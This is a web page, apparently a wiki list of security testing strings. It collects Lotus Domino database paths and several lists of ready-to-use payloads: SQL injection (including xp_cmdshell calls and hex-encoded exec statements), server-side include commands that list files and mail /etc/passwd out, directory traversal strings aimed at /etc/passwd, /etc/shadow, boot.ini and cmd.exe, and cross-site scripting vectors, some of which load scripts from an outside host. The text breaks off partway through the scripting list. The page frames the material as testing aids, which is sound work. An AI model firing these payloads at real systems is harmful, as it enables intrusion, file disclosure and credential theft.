&lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV 